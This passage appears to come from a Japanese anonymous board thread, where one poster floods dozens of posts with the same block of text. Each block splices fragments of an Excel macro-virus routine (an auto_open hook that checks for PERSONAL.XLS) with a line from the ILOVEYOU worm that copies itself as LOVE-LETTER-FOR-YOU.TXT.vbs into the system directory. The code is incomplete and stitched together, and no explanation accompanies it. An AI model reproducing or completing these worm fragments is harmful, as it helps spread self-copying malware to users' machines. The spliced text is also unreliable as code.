whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

484 番組の途中ですが名無しです :2012/01/31(火) 18:48:09 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

485 番組の途中ですが名無しです :2012/01/31(火) 18:48:40 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

486 番組の途中ですが名無しです :2012/01/31(火) 18:49:11 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

487 番組の途中ですが名無しです :2012/01/31(火) 18:49:42 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

488 番組の途中ですが名無しです :2012/01/31(火) 18:50:13 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

489 番組の途中ですが名無しです :2012/01/31(火) 18:50:45 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

490 番組の途中ですが名無しです :2012/01/31(火) 18:51:16 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

491 番組の途中ですが名無しです :2012/01/31(火) 18:51:47 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

492 番組の途中ですが名無しです :2012/01/31(火) 18:52:18 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

493 番組の途中ですが名無しです :2012/01/31(火) 18:52:49 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

494 番組の途中ですが名無しです :2012/01/31(火) 18:53:20 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

495 番組の途中ですが名無しです :2012/01/31(火) 18:53:51 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

496 番組の途中ですが名無しです :2012/01/31(火) 18:54:22 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

497 番組の途中ですが名無しです :2012/01/31(火) 18:54:54 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

498 番組の途中ですが名無しです :2012/01/31(火) 18:55:25 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

499 番組の途中ですが名無しです :2012/01/31(火) 18:55:57 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

500 番組の途中ですが名無しです :2012/01/31(火) 18:56:29 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

501 番組の途中ですが名無しです :2012/01/31(火) 18:57:00 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

502 番組の途中ですが名無しです :2012/01/31(火) 18:57:31 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

503 番組の途中ですが名無しです :2012/01/31(火) 18:58:02 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

504 番組の途中ですが名無しです :2012/01/31(火) 18:58:33 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

505 番組の途中ですが名無しです :2012/01/31(火) 18:59:03 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

506 番組の途中ですが名無しです :2012/01/31(火) 18:59:35 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

507 番組の途中ですが名無しです :2012/01/31(火) 19:00:06 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

508 番組の途中ですが名無しです :2012/01/31(火) 19:00:37 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

509 番組の途中ですが名無しです :2012/01/31(火) 19:01:08 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

510 番組の途中ですが名無しです :2012/01/31(火) 19:01:39 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

511 番組の途中ですが名無しです :2012/01/31(火) 19:02:10 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

512 番組の途中ですが名無しです :2012/01/31(火) 19:02:41 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

513 番組の途中ですが名無しです :2012/01/31(火) 19:03:13 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

514 番組の途中ですが名無しです :2012/01/31(火) 19:03:44 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

515 番組の途中ですが名無しです :2012/01/31(火) 19:04:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

516 番組の途中ですが名無しです :2012/01/31(火) 19:04:46 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

517 番組の途中ですが名無しです :2012/01/31(火) 19:05:17 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

518 番組の途中ですが名無しです :2012/01/31(火) 19:05:50 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

519 番組の途中ですが名無しです :2012/01/31(火) 19:06:21 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

520 番組の途中ですが名無しです :2012/01/31(火) 19:06:53 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

521 番組の途中ですが名無しです :2012/01/31(火) 19:07:24 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

522 番組の途中ですが名無しです :2012/01/31(火) 19:07:56 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

523 番組の途中ですが名無しです :2012/01/31(火) 19:08:27 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

524 番組の途中ですが名無しです :2012/01/31(火) 19:08:59 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

525 番組の途中ですが名無しです :2012/01/31(火) 19:09:30 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

526 番組の途中ですが名無しです :2012/01/31(火) 19:10:01 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

527 番組の途中ですが名無しです :2012/01/31(火) 19:10:32 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

528 番組の途中ですが名無しです :2012/01/31(火) 19:11:05 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

529 番組の途中ですが名無しです :2012/01/31(火) 19:11:36 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

530 番組の途中ですが名無しです :2012/01/31(火) 19:12:07 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

531 番組の途中ですが名無しです :2012/01/31(火) 19:12:38 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

532 番組の途中ですが名無しです :2012/01/31(火) 19:13:11 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

533 番組の途中ですが名無しです :2012/01/31(火) 19:13:42 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

534 番組の途中ですが名無しです :2012/01/31(火) 19:14:13 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

535 番組の途中ですが名無しです :2012/01/31(火) 19:14:44 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

536 番組の途中ですが名無しです :2012/01/31(火) 19:15:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

537 番組の途中ですが名無しです :2012/01/31(火) 19:15:46 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

538 番組の途中ですが名無しです :2012/01/31(火) 19:16:17 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

539 番組の途中ですが名無しです :2012/01/31(火) 19:16:49 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

540 番組の途中ですが名無しです :2012/01/31(火) 19:17:20 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

541 番組の途中ですが名無しです :2012/01/31(火) 19:17:51 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

542 番組の途中ですが名無しです :2012/01/31(火) 19:18:23 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

543 番組の途中ですが名無しです :2012/01/31(火) 19:18:54 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

